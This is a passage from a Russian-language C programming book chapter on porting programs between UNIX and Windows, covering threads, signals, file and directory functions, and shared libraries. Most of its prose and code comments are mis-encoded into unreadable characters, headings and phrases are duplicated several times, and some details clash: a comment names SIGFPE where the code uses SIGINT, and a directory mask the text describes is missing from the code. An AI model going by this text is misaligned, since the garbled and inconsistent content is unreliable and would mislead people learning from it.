� Â ñòðîêå 12 îáúÿâëåíà ãëîáàëüíàÿ ïåðåìåííàÿ g_val òèïà int. Åå çíà÷å-
íèå óâåëè÷èâàåòñÿ íåñêîëüêèìè ïîòîêàìè è âûâîäèòñÿ íà stdout òàê æå,
êàê â ïðèìåðå 6.12.

� Â ñòðîêå 14 îáúÿâëåíà ôóíêöèÿ thread_entry_point(). Èìåííî â ýòîé
ôóíêöèè íà÷èíàåòñÿ èñïîëíåíèå ïîòîêà, ñîçäàâàåìîãî â ñòðîêå 37.

Рекомендации по переносу программ между платформами UNIX и Microsoft Windows



302 Глава 6. Написание переносимых программ

Ôóíêöèÿ âñåãî ëèøü îðãàíèçóåò áåñêîíå÷íûé öèêë. Íà êàæäîé èòåðà-
öèè çàõâàòûâàåòñÿ êðèòè÷åñêàÿ ñåêöèÿ lock (ñòðîêà 18), ïîñëå ÷åãî çíà-
÷åíèå ïåðåìåííîé g_val óâåëè÷èâàåòñÿ íà 1 (ñòðîêà 20) è ïå÷àòàåòñÿ
(ñòðîêà 21). Çàòåì êðèòè÷åñêàÿ ñåêöèÿ îñâîáîæäàåòñÿ (ñòðîêà 23), è ïî-
òîê ïðèîñòàíàâëèâàåò ðàáîòó íà îäíó ñåêóíäó (ñòðîêà 25).

� Â ñòðîêå 30 îáúÿâëåíà ôóíêöèÿ main(). Â íåé ñîçäàåòñÿ íîâûé ïîòîê,
êîòîðûé â áåñêîíå÷íîì öèêëå óâåëè÷èâàåò çíà÷åíèå ïåðåìåííîé g_val.

� Â ñòðîêå 32 îáúÿâëåíà ïåðåìåííàÿ h òèïà HANDLE. Â íåé áóäåò õðàíèòü-
ñÿ îïèñàòåëü ïîòîêà, ñîçäàâàåìîãî â ñòðîêå 37.

� Â ñòðîêå 35 èíèöèàëèçèðóåòñÿ ãëîáàëüíàÿ ïåðåìåííàÿ lock. Äëÿ ýòîãî
âûçûâàåòñÿ ôóíêöèÿ Initial izeCriticalSection(). Îòìåòèì, ÷òî  â îòëè÷èå
îò pthread_mutex_init() ýòà ôóíêöèÿ íå âîçâðàùàåò çíà÷åíèÿ.

� Â ñòðîêå 37 ñ ïîìîùüþ ôóíêöèè CreateThread() ñîçäàåòñÿ íîâûé ïîòîê.
Îí íà÷èíàåò èñïîëíåíèå â ôóíêöèè thread_entry_point().

� Ñòðîêè 44–54 – ýòî áåñêîíå÷íûé öèêë. Íà êàæäîé èòåðàöèè çàõâàòûâàåò-
ñÿ êðèòè÷åñêàÿ ñåêöèÿ lock (ñòðîêà 46), óâåëè÷èâàåòñÿ íà 1 (ñòðîêà 48) è
ïå÷àòàåòñÿ (ñòðîêà 49) çíà÷åíèå ïåðåìåííîé g_val, ïîñëå ÷åãî êðèòè÷å-
ñêàÿ ñåêöèÿ îñâîáîæäàåòñÿ è ïîòîê íà îäíó ñåêóíäó «çàñûïàåò» (ñòðîêà 53).

� Â ñòðîêå 36 ôóíêöèÿ DeleteCriticalSection() óíè÷òîæàåò êðèòè÷åñêóþ
ñåêöèþ lock. Ïîñêîëüêó öèêë while, íà÷èíàþùèéñÿ â ñòðîêå 44, íèêîãäà
íå çàâåðøàåòñÿ, òî ýòà ôóíêöèÿ íå âûçûâàåòñÿ.

Сигналы

Âî âñåõ âàðèàíòàõ îïåðàöèîííîé ñèñòåìû UNIX ïîääåðæèâàþòñÿ ñèãíàëû.
Ìîæíî ñ÷èòàòü, ÷òî ýòî ïðåðûâàíèÿ, ïîñûëàåìûå ïðîãðàììå, ÷òîáû îïîâå-
ñòèòü åå î íåêîòîðîì ñîáûòèè. Èíîãäà îíè òàêæå ñëóæàò ñðåäñòâîì ìåæïðî-
öåññíîé êîììóíèêàöèè (ñèãíàëû SIGUSR1, SIGUSR2).

Â íà÷àëå ðàáîòû êàæäûé ïðîöåññ èìååò íàáîð ñòàíäàðòíûõ îáðàáîò÷èêîâ
ñèãíàëîâ. Ýòî ôóíêöèè, âûçûâàåìûå â îòâåò íà ïîñòóïëåíèå ïðîãðàììå ñèã-
íàëà. Íåêîòîðûå ñòàíäàðòíûå îáðàáîò÷èêè íå äåëàþò íè÷åãî, äðóãèå çàâåð-
øàþò ïðîãðàììó.

Â UNIX äëÿ îòïðàâêè ñèãíàëà SIGINT ïðîöåññó, ðàáîòàþùåìó íå â ôîíîâîì
ðåæèìå, îáû÷íî èñïîëüçóåòñÿ êîìáèíàöèÿ êëàâèø Ctrl+CCtrl+CCtrl+CCtrl+CCtrl+C. Ïî óìîë÷àíèþ
îáðàáîò÷èê ñèãíàëà SIGINT çàâåðøàåò ïðîãðàììó. Íî ìîæíî íàïèñàòü ñîá-
ñòâåííûé îáðàáîò÷èê, êîòîðûé ïåðåõâàòèò ýòîò ñèãíàë è îáðàáîòàåò åãî. Â ïðè-
ìåðå 6.14, ðàáîòàþùåì íà ðàçíûõ ïëàòôîðìàõ, ïîêàçàíî, êàê ýòî äåëàåòñÿ.

Пример 6.14. Пример 6.14. Пример 6.14. Пример 6.14. Пример 6.14. Пример использования функции signal() (signal.c)
1 /*

2  * signal.c

3  *
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 4  * Ðàáîòàåò â UNIX è â Windows
 5  */
 6
 7 #include <signal.h>
 8
 9 void sighandler(int sig)
10 {
11   // îáðàáîòêà ñèãíàëà...
12 }
13
14 int
15 main(void)
16 {
17   signal(SIGINT, sighandler);
18 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 7 âêëþ÷àåòñÿ çàãîëîâî÷íûé ôàéë signal.h, íåîáõîäèìûé äëÿ

èñïîëüçîâàíèÿ ôóíêöèè signal() è ñâÿçàííûõ ñ ñèãíàëàìè êîíñòàíò;
� Â ñòðîêå 9 îáúÿâëåíà ôóíêöèÿ sighandler(). Ýòî îáðàáîò÷èê ñèãíàëà;
� Â ñòðîêå 16 âûçûâàåòñÿ ôóíêöèÿ signal(), êîòîðàÿ óñòàíàâëèâàåò ôóíê-

öèþ sighandler() â êà÷åñòâå îáðàáîò÷èêà ñèãíàëà SIGINT. Òåïåðü, åñëè
âî âðåìÿ âûïîëíåíèÿ ïðîãðàììà ïîëó÷èò ñèãíàë SIGINT, òî áóäåò âûç-
âàíà ôóíêöèÿ sighandler().

Ïëàòôîðìîé Windows ïîääåðæèâàåòñÿ ëèøü íåáîëüøîå ïîäìíîæåñòâî
ñèãíàëîâ, äîñòóïíûõ â ÎÑ UNIX, à èìåííî:

� SIGABRT;
� SIGFPE;
� SIGILL;
� SIGINT;
� SIGSEGV;
� SIGTERM.

Êðîìå òîãî, äëÿ âîññòàíîâëåíèÿ ñòàíäàðòíîãî îáðàáîò÷èêà ëþáîãî ñèãíà-
ëà ìîæíî ïîëüçîâàòüñÿ êîíñòàíòîé SIG_DFL. Êîíñòàíòà SIG_IGN ïîçâîëÿåò
èãíîðèðîâàòü ñèãíàë, òî åñòü çàïðåòèòü åãî äîñòàâêó ïðîãðàììå. Â ïðèìåðå
6.15 äåìîíñòðèðóåòñÿ ïðèìåíåíèå êîíñòàíò SIG_DFL è SIG_IGN.

Пример 6.15.Пример 6.15.Пример 6.15.Пример 6.15.Пример 6.15. Пример использования констант SIG_DFL и SIG_IGN
в сочетании с функцией signal() (signal2.c)
1 /*

2  * signal2.c

3  *

4  *

5  */

Рекомендации по переносу программ между платформами UNIX и Microsoft Windows



304 Глава 6. Написание переносимых программ

 6
 7 #include <signal.h>

 8
 9 void sighandler(int sig)

10 {

11   // îáðàáîòêà ñèãíàëà...

12 }
13
14 int

15 main(void)
16 {

17   // óñòàíîâèòü îáðàáîò÷èê SIGINT

18   signal(SIGINT, sighandler);

19
20   // èãíîðèðîâàòü ñèãíàë SIGFPE

21   signal(SIGINT, SIG_IGN);

22
23   // âîññòàíîâèòü ñòàíäàðòíûé îáðàáîò÷èê SIGINT

24   signal(SIGINT, SIG_DFL);

25 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 7 âêëþ÷àåòñÿ çàãîëîâî÷íûé ôàéë signal.h, íåîáõîäèìûé äëÿ

èñïîëüçîâàíèÿ ôóíêöèè signal() è ñâÿçàííûõ ñ ñèãíàëàìè êîíñòàíò.
� Â ñòðîêå 9 îáúÿâëåíà ôóíêöèÿ sighandler(). Ýòî îáðàáîò÷èê ñèãíàëà.
� Â ñòðîêå 18 âûçûâàåòñÿ ôóíêöèÿ signal(), êîòîðàÿ óñòàíàâëèâàåò ôóíê-

öèþ sighandler() â êà÷åñòâå îáðàáîò÷èêà ñèãíàëà SIGINT.
� Â ñòðîêå 21 âûçûâàåòñÿ ôóíêöèÿ signal(), êîòîðàÿ çàïðåùàåò äîñòàâêó

ñèãíàëà SIGINT ïðîãðàììå, ïåðåäàâàÿ âìåñòî óêàçàòåëÿ íà îáðàáîò÷èê
êîíñòàíòó SIG_IGN.

� Â ñòðîêå 24 ôóíêöèÿ signal() èñïîëüçóåòñÿ äëÿ òîãî, ÷òîáû âîññòàíîâèòü
ñòàíäàðòíûé îáðàáîò÷èê ñèãíàëà SIGINT. Äëÿ ýòîãî âìåñòî óêàçàòåëÿ
íà ôóíêöèþ ïåðåäàåòñÿ êîíñòàíòà SIG_DFL.

Åñëè â ïðîãðàììå, íàïèñàííîé äëÿ UNIX, èñïîëüçóþòñÿ ñèãíàëû, îòñóò-
ñòâóþùèå â Windows, òî ïðèäåòñÿ ðåàëèçîâàòü êàêóþ-ëèáî ñîáñòâåííóþ
ñõåìó îáðàáîòêè ñèãíàëîâ.

Áîëåå ïîäðîáíóþ èíôîðìàöèþ î ïîääåðæêå ñèãíàëîâ â Windows ìîæíî
íàéòè íà ñàéòå http://msdn.microsoft.com èëè â äîêóìåíòàöèè, ïîñòàâëÿåìîé
âìåñòå ñ Visual Studio, çàäàâ êëþ÷åâîå ñëîâî «signal».

Работа с файлами

È â UNIX, è â Windows ïîääåðæèâàþòñÿ îïðåäåëåííûå Íàöèîíàëüíûì èí-
ñòèòóòîì ñòàíäàðòèçàöèè ÑØÀ (ANSI) ôóíêöèè äëÿ ðàáîòû ñ ôàéëàìè: îò-
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êðûòèÿ, ÷òåíèÿ, çàïèñè è çàêðûòèÿ. Ïîýòîìó ïåðåíîñ ýòèõ ôðàãìåíòîâ êîäà
èç UNIX â Windows íå âûçîâåò ñëîæíîñòåé. Â ïðèìåðå 6.16 äåìîíñòðèðóåòñÿ
ïðèìåíåíèå ôóíêöèé ðàáîòû ñ ôàéëàìè äëÿ ñîçäàíèÿ íîâîãî ôàéëà, çàïèñè
â íåãî îäíîé ñòðîêè òåêñòà è ïîñëåäóþùåãî çàêðûòèÿ.

Пример 6.16. Пример 6.16. Пример 6.16. Пример 6.16. Пример 6.16. Работа с файлами с помощью функций семейства f (file1.c)
 1 /*

 2  * file1.c

 3  *

 4  * Ðàáîòàåò â UNIX è â Windows

 5  */

 6
 7 #include <stdio.h>

 8
 9 #define FILE_NAME "test.txt"

10
11 int

12 main(void)

13 {

14   FILE *fptr = NULL;

15
16   fptr = fopen(FILE_NAME, "w");

17   if(fptr == NULL)

18   {

19     printf("îøèáêà open().\n");

20     return(1);

21   }

22
23   fprintf(fptr, "test!");

24
25   fclose (fptr);

26
27   return(0 );

28 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 7 âêëþ÷àåòñÿ çàãîëîâî÷íûé ôàéë stdio.h, íåîáõîäèìûé äëÿ èñ-

ïîëüçîâàíèÿ ôóíêöèé ðàáîòû ñ ôàéëàìè.
� Â ñòðîêå 9 îïðåäåëÿåòñÿ èìÿ òåñòîâîãî ôàéëà. Â äàííîì ïðèìåðå îíî

«çàøèòî» è ðàâíî test.txt.
� Â ñòðîêå 14 îáúÿâëåíà ïåðåìåííàÿ fptr, èìåþùàÿ òèï óêàçàòåëü íà FILE.

Â íåé áóäåò õðàíèòüñÿ îïèñàòåëü ôàéëà, âîçâðàùàåìûé ôóíêöèåé
fopen().

� Â ñòðîêå 16 âûçûâàåòñÿ ôóíêöèÿ fopen() äëÿ îòêðûòèÿ ôàéëà ñ èìåíåì
FILE_NAME äëÿ çàïèñè.

Рекомендации по переносу программ между платформами UNIX и Microsoft Windows
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� Â ñòðîêå 23 ôóíêöèÿ fprintf() çàïèñûâàåò â ôàéë ñòðîêó «test!».
� Â ñòðîêå 25 ôóíêöèÿ fclose() çàêðûâàåò ôàéë.

Îòìåòèì, ÷òî â Windows åñëè âû õîòèòå ïèñàòü â ôàéë äâîè÷íóþ (íå òåê-
ñòîâóþ èíôîðìàöèþ), òî ôàéë ñëåäóåò îòêðûâàòü â äâîè÷íîì ðåæèìå, óêàçàâ
ìîäèôèêàòîð b, êàê ïîêàçàíî â ïðèìåðå 6.17.

Íà ïëàòôîðìå Windows äëÿ ñîâìåñòèìîñòè ñ UNIX èìåþòñÿ ôóíêöèè open,
read, write è close. Îäíàêî èõ ìîæíî èñïîëüçîâàòü òîëüêî äëÿ ðàáîòû ñ ôàéëà-
ìè, íî íå ñ äåñêðèïòîðàìè ñîêåòîâíî íå ñ äåñêðèïòîðàìè ñîêåòîâíî íå ñ äåñêðèïòîðàìè ñîêåòîâíî íå ñ äåñêðèïòîðàìè ñîêåòîâíî íå ñ äåñêðèïòîðàìè ñîêåòîâ. Äëÿ äîñòóïà ê íèì â ïðîãðàììó ñëåäóåò
âêëþ÷èòü çàãîëîâî÷íûé ôàéë io.h. À ÷òîáû ìîæíî áûëî ïîëüçîâàòüñÿ êîí-
ñòàíòàìè, îïðåäåëÿþùèìè ðåæèìû îòêðûòèÿ ôàéëà, ïîíàäîáèòñÿ çàãîëîâîê
fcntl.h.

Пример 6.17.Пример 6.17.Пример 6.17.Пример 6.17.Пример 6.17. Работа с файлами с помощью функций open(), read(), write()
и close() (file2.c)
 1 /*

 2  * file2.c

 3  *

 4  * Ïðèìåð èñïîëüçîâàíèÿ ôóíêöèè open íà ïëàòôîðìå Win32

 5  */

 6
 7 #include <stdio.h>

 8 #include <io.h>    // íåîáõîäèì äëÿ ôóíêöèé open, write, close

 9 #include <fcntl.h> // íåîáõîäèì äëÿ ðåæèìîâ îòêðûòèÿ (_O_CREAT è ò.ä.)

10
11 int

12 main(void)

13 {

14   int ret = 0;

15   int fd  = 0;

16
17   fd = open("test.txt", _O_CREAT | _O_WRONLY);

18   if(fd < 0)

19   {

20     printf("îøèáêà open().\r\n");

21     return(1);

22   }

23
24   ret = write(fd, "abc", 0x03);

25   if(ret != 0x03)

26   {

27     printf("îøèáêà write().\r\n");

28     close (fd);

29     return(1 );

30   }

31
32   close (fd);
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33
34   return(0 );

35 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 7–9 âêëþ÷àþòñÿ çàãîëîâî÷íûå ôàéëû stdio.h, io.h è fcntl.h, íå-

îáõîäèìûå äëÿ èñïîëüçîâàíèÿ ôóíêöèé open(), write() è close().
� Â ñòðîêå 15 îáúÿâëåíà ïåðåìåííàÿ fd òèïà int. Â íåé áóäåò õðàíèòüñÿ äåñ-

êðèïòîð ôàéëà, âîçâðàùàåìûé ôóíêöèåé open(). Â îòëè÷èå îò fopen()
ôóíêöèÿ âîçâðàùàåò öåëîå çíà÷åíèå, à íå óêàçàòåëü FILE*.

� Â ñòðîêå 17 âûçûâàåòñÿ ôóíêöèÿ open(), êîòîðàÿ îòêðîåò ôàéë test.txt
èëè ñîçäàñò åãî, åñëè îí åùå íå ñóùåñòâóåò (ðåæèì _O_CREAT). Ôàéë
áóäåò îòêðûò äëÿ çàïèñè (ðåæèì _O_WRONLY).

� Â ñòðîêå 24 ôóíêöèÿ write() çàïèñûâàåò â ôàéë ñòðîêó «abc».
� Â ñòðîêå 32 ôóíêöèÿ close() çàêðûâàåò ôàéë, îïðåäåëÿåìûé äåñêðèïòî-

ðîì fd.

Работа с каталогами

Èíòåðôåéñ äëÿ ðàáîòû ñ êàòàëîãàìè â UNIX è Windows ðàçëè÷àåòñÿ. Íî
â Windows îáåñïå÷èâàåòñÿ ýêâèâàëåíòíàÿ ôóíêöèîíàëüíîñòü ïëþñ âîçìîæ-
íîñòü ôèëüòðîâàòü ôàéëû ïî ìàñêå.

Â ïðèìåðå 6.18 äåìîíñòðèðóåòñÿ, êàê â UNIX ïåðåáðàòü âñå ôàéëû è êàòà-
ëîãè, ïðèíàäëåæàùèå òåêóùåìó ðàáî÷åìó êàòàëîãó ïðîãðàììû.

Пример 6.18.Пример 6.18.Пример 6.18.Пример 6.18.Пример 6.18. Работа с каталогами на платформе UNIX (dir1.c)
 1 /*

 2  * dir1.c

 3  *

 4  * Ïåðå÷èñëåíèå ôàéëîâ â êàòàëîãå (UNIX)

 5  */

 6
 7 #include <stdio.h>

 8 #include <dirent.h>

 9
10 #define DIR_NAME "."

11
12 int

13 main(void)

14 {

15   struct dirent *dp   = NULL;

16   DIR           *dirp = NULL;

17
18   dirp = opendir(DIR_NAME);

19   if(dirp == NULL)

Рекомендации по переносу программ между платформами UNIX и Microsoft Windows



308 Глава 6. Написание переносимых программ

20   {

21     printf("îøèáêà opendir().\n");

22     return(1);

23   }

24
25   dp = readdir(dirp);

26
27   while(dp != NULL)

28   {

29     printf("DIR: %s\n", dp->d_name);

30
31     dp = readdir(dirp);

32   }

33
34   closedir(dirp);

35
36   return(0);

37 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 7–8 âêëþ÷àþòñÿ çàãîëîâî÷íûå ôàéëû stdio.h è dirent.h, íåîá-

õîäèìûå äëÿ èñïîëüçîâàíèÿ ôóíêöèè fprintf() è ôóíêöèé ðàáîòû ñ êà-
òàëîãàìè.

� Â ñòðîêå 10 îïðåäåëÿåòñÿ èìÿ êàòàëîãà.
� Â ñòðîêå 15 îáúÿâëåíà ïåðåìåííàÿ dp òèïà struct dirent*. Ïðè îáõîäå êà-

òàëîãà îíà áóäåò óêàçûâàòü íà äàííûå î êàæäîì åãî ýëåìåíòå.
� Â ñòðîêå 16 îáúÿâëåíà ïåðåìåííàÿ dirp òèïà DIR*. Â íåé áóäåò õðàíèòü-

ñÿ äåñêðèïòîð êàòàëîãà, âîçâðàùàåìûé ôóíêöèåé opendir().
� Â ñòðîêå 18 âûçûâàåòñÿ ôóíêöèÿ opendir() äëÿ îòêðûòèÿ êàòàëîãà ñ èìå-

íåì DIR_NAME. Âîçâðàùåííûé åé äåñêðèïòîð ïðèñâàèâàåòñÿ ïåðåìåí-
íîé dirp.

� Â ñòðîêå 25 âûçûâàåòñÿ ôóíêöèÿ readdir(), êîòîðàÿ ñ÷èòûâàåò äàííûå
î ïåðâîì ýëåìåíòå êàòàëîãà â ñòðóêòóðó dirent.

� Â ñòðîêàõ 27–32 ôóíêöèÿ readdir() âûçûâàåòñÿ â öèêëå äëÿ îáðàáîòêè
êàæäîãî ýëåìåíòà êàòàëîãà. Åñëè áîëüøå ýëåìåíòîâ íå îñòàëîñü, îíà
âîçâðàùàåò NULL, ïîñëå ÷åãî öèêë çàâåðøàåòñÿ.

� Â ñòðîêå 34 äëÿ çàêðûòèÿ êàòàëîãà âûçûâàåòñÿ ôóíêöèÿ closedir(), êîòî-
ðîé ïåðåäàåòñÿ äåñêðèïòîð êàòàëîãà.

Ýêâèâàëåíò ïðîãðàììû dir1.c íà ïëàòôîðìå Windows ïðåäñòàâëåí â ïðèìå-
ðå 6.10. Â íåì èñïîëüçóþòñÿ ôóíêöèè ñåìåéñòâà Find.

Пример 6.19. Пример 6.19. Пример 6.19. Пример 6.19. Пример 6.19. Работа с каталогами на платформе Win32 (dir2.c)
1 /*

2  * dir2.c
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 3  *

 4  * Ïåðå÷èñëåíèå ôàéëîâ â êàòàëîãå (Win32)

 5  */

 6 #include <windows.h>

 7 #include <stdio.h>

 8
 9 #define DIR_NAME ".\\"

10
11 int

12 main(void)

13 {

14   WIN32_FIND_DATA fileData;

15   HANDLE          hFile = NULL;

16   BOOL            ret = FALSE;

17
18   memset(&fileData, 0x00, sizeof(WIN32_FIND_DATA));

19
20   hFile = FindFirstFile(DIR_NAME, &fileData);

21   if(hFile == INVALID_HANDLE_VALUE)

22   {

23     printf("îøèáêà FindFirstFile().\r\n");

24     return(1);

25   }

26
27   while(TRUE)

28   {

29     printf("DIR: %s\r\n", fileData.cFileName);

30
31     // ñëåäóþùèé ôàéë â êàòàëîãå

32     ret = FindNextFile(hFile, &fileData);

33     if(ret != TRUE)

34     {

35       break;

36     }

37   }

38
39   FindClose(hFile);

40
41   return(0);

42 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 6–7 âêëþ÷àþòñÿ çàãîëîâî÷íûå ôàéëû windows.h è stdio.h, íå-

îáõîäèìûå äëÿ èñïîëüçîâàíèÿ ôóíêöèé fprintf(), memset() è ôóíêöèé
ñåìåéñòâà Find.

� Â ñòðîêå 9 îïðåäåëÿåòñÿ èìÿ êàòàëîãà. Ñòðîêà \\*, äîáàâëåííàÿ ê èìåíè,
ãîâîðèò ôóíêöèè FindFirstFile(), ÷òî íàäî ïðîñìàòðèâàòü âñå ýëåìåíòû
êàòàëîãà.
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� Â ñòðîêå 14 îáúÿâëåíà ïåðåìåííàÿ fileData òèïà WIN32_FIND_DATA*.
Ïðè îáõîäå êàòàëîãà îíà áóäåò óêàçûâàòü íà äàííûå î êàæäîì åãî ýëå-
ìåíòå.

� Â ñòðîêå 15 îáúÿâëåíà ïåðåìåííàÿ hFile òèïà HANDLE. Â íåé áóäåò õðà-
íèòüñÿ îïèñàòåëü êàòàëîãà, âîçâðàùàåìûé ôóíêöèåé FindFirstFile().

� Â ñòðîêå 20 âûçûâàåòñÿ ôóíêöèÿ FindFirstFile() äëÿ îòêðûòèÿ êàòàëîãà
ñ èìåíåì DIR_NAME. Âîçâðàùåííûé åé îïèñàòåëü ïðèñâàèâàåòñÿ ïåðå-
ìåííîé hFile.

� Â ñòðîêàõ 27–37 âûçûâàåòñÿ ôóíêöèÿ FindNextFile(), êîòîðàÿ ñ÷èòûâàåò
äàííûå î ïåðâîì ýëåìåíòå êàòàëîãà â ñòðóêòóðó fileData.

� Â ñòðîêàõ 27–37 ôóíêöèÿ FindNextFile() âûçûâàåòñÿ â öèêëå äëÿ îáðà-
áîòêè êàæäîãî ýëåìåíòà êàòàëîãà. Îíà ñ÷èòûâàåò äàííûå î êàæäîì ýëå-
ìåíòå êàòàëîãà â ñòðóêòóðó fileData è âîçâðàùàåò TRUE, åñëè åñòü åùå
ýëåìåíòû.

� Â ñòðîêå 34 äëÿ çàêðûòèÿ êàòàëîãà âûçûâàåòñÿ ôóíêöèÿ FileClose(), êî-
òîðîé ïåðåäàåòñÿ îïèñàòåëü êàòàëîãà hFile.

Ïðîãðàììà dir2.c âûïîëíÿåò òå æå îïåðàöèè, ÷òî è dir1.c, òîëüêî ñ ïðèìå-
íåíèåì ôóíêöèé ñåìåéñòâà Find. Îäíî ñóùåñòâåííîå îòëè÷èå ñêðûòî çà ïå-
ðåìåííîé DIR_NAME. Îíà ñîäåðæèò íå òîëüêî èìÿ êàòàëîãà, íî è ñòðîêó \\*.
Ýòî óíèâåðñàëüíàÿ ìàñêà, ïîêàçûâàþùàÿ, ÷òî âûçûâàþùåé ïðîãðàììå ñëå-
äóåò âîçâðàùàòü âñå ôàéëû è ïîäêàòàëîãè èç óêàçàííîãî êàòàëîãà. Ìîæíî
óòî÷íèòü ìàñêó, ñóçèâ ìíîæåñòâî âîçâðàùàåìûõ ôàéëîâ è ïîäêàòàëîãîâ. Íà-
ïðèìåð, ìîæíî áûëî áû â êà÷åñòâå DIR_NAME çàäàòü ñòðîêó .\\*.c. Òîãäà
ôóíêöèè FindFirstFile() è FindNextFile() âîçâðàùàëè áû òîëüêî ôàéëû ñ ðàñ-
øèðåíèåì .c.

Áîëåå ïîäðîáíóþ èíôîðìàöèþ î ôóíêöèè FindFirstFile() è ñâÿçàííûõ
ñ íåé ìîæíî íàéòè íà ñàéòå http://msdn.microsoft.com èëè â äîêóìåíòàöèè,
ïîñòàâëÿåìîé âìåñòå ñ Visual Studio, çàäàâ êëþ÷åâîå ñëîâî «FindFirstFile».

Â Windows åñòü ôóíêöèÿ getcwd(), ïîçâîëÿþùàÿ óçíàòü ïóòü ê òåêóùåìó
ðàáî÷åìó êàòàëîãó. Äëÿ åå èñïîëüçîâàíèÿ â ïðîãðàììó ñëåäóåò âêëþ÷èòü ôàéë
dirent.h. Â ïðèìåðå 6.20 ïðîäåìîíñòðèðîâàíà ðàáîòà ñ ýòîé ôóíêöèåé.

Пример 6.20.Пример 6.20.Пример 6.20.Пример 6.20.Пример 6.20. Использование функции getcwd() (getcwd1.c)
1 /*

2  * getcwd1.c

3  *

4  * Ïðèìåð ðàáîòû ñ getcwd() íà ïëàòôîðìå Win32

5  */

6
7 #include <stdio.h>

8 #include <dirent.h>
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 9
10 #define BUF_SIZE 1024

11
12 int

13 main(void)

14 {

15   char buf[BUF_SIZE];

16
17   if(getcwd(buf, BUF_SIZE) == NULL)

18   {

19     printf("îøèáêà getcwd().\r\n");

20     return(1);

21   }

22
23   printf("CWD: %s", buf);
24
25   return(0);

26 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 7–8 âêëþ÷àþòñÿ çàãîëîâî÷íûå ôàéëû stdio.h è dirent.h, íåîá-

õîäèìûå äëÿ èñïîëüçîâàíèÿ ôóíêöèé printf() è getcwd().
� Â ñòðîêå 17 ôóíêöèÿ getcwd() âûçûâàåòñÿ äëÿ òîãî, ÷òîáû ïîëó÷èòü ïóòü

ê òåêóùåìó ðàáî÷åìó êàòàëîãó è çàïèñàòü åãî â ïåðåìåííóþ filepath.
� Â ñòðîêå 23 ïóòü ê òåêóùåìó êàòàëîãó âûâîäèòñÿ íà stdout.

Библиотеки

È â UNIX, è â Windows ïîääåðæèâàþòñÿ êàê ñòàòè÷åñêè, òàê è äèíàìè÷åñêè
ñâÿçûâàåìûå áèáëèîòåêè. Â UNIX äèíàìè÷åñêè ñâÿçûâàåìûå áèáëèîòåêè
îáû÷íî íàçûâàþòñÿ ðàçäåëÿåìûìè îáúåêòàìè (shared objects) èëè ðàçäåëÿå-
ìûìè áèáëèîòåêàìè. Â Windows îíè íàçûâàþòñÿ DLL (dynamically l inked
l ibraries).

Ïðè ñîçäàíèè ñòàòè÷åñêîé áèáëèîòåêè íà îáåèõ ïëàòôîðìàõ ïîëó÷àåòñÿ
îäèí äâîè÷íûé ôàéë, ñîäåðæàùèé îòêîìïèëèðîâàííûé êîä áèáëèîòå÷íûõ
ôóíêöèé. Ïðè êîìïèëÿöèè ðàçäåëÿåìîé áèáëèîòåêè â UNIX òàêæå ñîçäàåòñÿ
îäèí ôàéë. Â Windows æå êîìïèëÿöèÿ DLL äàåò äâà ôàéëà: îäèí (ñ ðàñøèðå-
íèåì .l ib) ñîäåðæèò èíôîðìàöèþ, íåîáõîäèìóþ äëÿ êîìïîíîâêè, à âòîðîé
(ñ ðàñøèðåíèåì .dll)  – ñîáñòâåííî îòêîìïèëèðîâàííûé êîä.

Ñóùåñòâåííûì îòëè÷èåì Windows îò UNIX ÿâëÿåòñÿ òî, ÷òî â ïåðâîì ñëó-
÷àå ôóíêöèè, ýêñïîðòèðóåìûå èç áèáëèîòåêè, íàäî ñïåöèàëüíî îáúÿâëÿòü.
Ñëåäóþùèå  äâà ïðèìåðà, 6.21 (l ib1.c) è 6.22  (l ib2.c) äåìîíñòðèðóþò ðàçëè÷èÿ
ïðè ñîçäàíèè áèáëèîòåê íà ïëàòôîðìàõ UNIX è Windows.

Рекомендации по переносу программ между платформами UNIX и Microsoft Windows
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Пример 6.21. Пример 6.21. Пример 6.21. Пример 6.21. Пример 6.21. Заголовочный файл библиотеки и файл реализации
в UNIX (lib1.h, lib1.c)
 1 /*

 2  * lib1.h

 3  *

 4  *

 5  */

 6
 7 #ifndef __LIB1_H__

 8 #define __LIB1_H__

 9
10 /*

11  * lib1_test()

12  *

13  *

14  */

15 void lib1_test();

16
17 #endif /* __LIB1_H__ */

18
19 lib1.c:
20
21 /*

22  * lib1.c

23  *

24  *

25  */

26
27 #include "lib1.h"

28 #include <stdio.h>

29
30 /*

31  * lib1_test()
32  *

33  *

34  */

35 void lib1_test()

36 {

37   printf("lib1_test!");

38 }

Пример 6.22. Пример 6.22. Пример 6.22. Пример 6.22. Пример 6.22. Перенос примера 6.21 на платформу Win32 (lib2.h, lib2.c)
1
2 lib2.h

3
4 /*

5  * lib2.h

6  *
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 7  * Ïåðåíîñ íà ïëàòôîðìó Win32

 8  */

 9
10 #ifndef __LIB2_H__

11 #define __LIB2_H__

12
13 #include <windows.h>

14
15 /*

16  * lib2_test()

17  *

18  *

19  */

20 __declspec(dllexport) void lib2_test ();

21
22 #endif /* __LIB2_H__ */

23
24
25 lib2.c:
26
27 /*

28  * lib2.c

29  *

30  * Ïåðåíîñ íà ïëàòôîðìó Win32

31  */

32
33 #include "lib2.h"

34 #include <stdio.h>

35
36 /*

37  * lib2_test()
38  *

39  *

40  */

41 void lib2_test()

42 {

43   printf("lib2_test!");

44 }

Динамическая загрузка библиотек

Èíîãäà áûâàåò ïîëåçíî çàãðóæàòü ðàçäåëÿåìûå áèáëèîòåêè äèíàìè÷åñêè.
Íàïðèìåð, ÷òîáû ðåàëèçîâàòü ñèñòåìíûå âûçîâû, êàê ýòî ñäåëàíî â Win-
dows, èëè àáñòðàãèðîâàòü èíòåðôåéñ îò ðåàëèçàöèè èëè ðåàëèçîâàòü ïîäêëþ-
÷àåìûå ìîäóëè (plug-in).

Â UNIX äëÿ ýòîé öåëè ñëóæàò ôóíêöèè èç áèáëèîòåêè l ibdl. Â ÷àñòíîñòè, ýòè
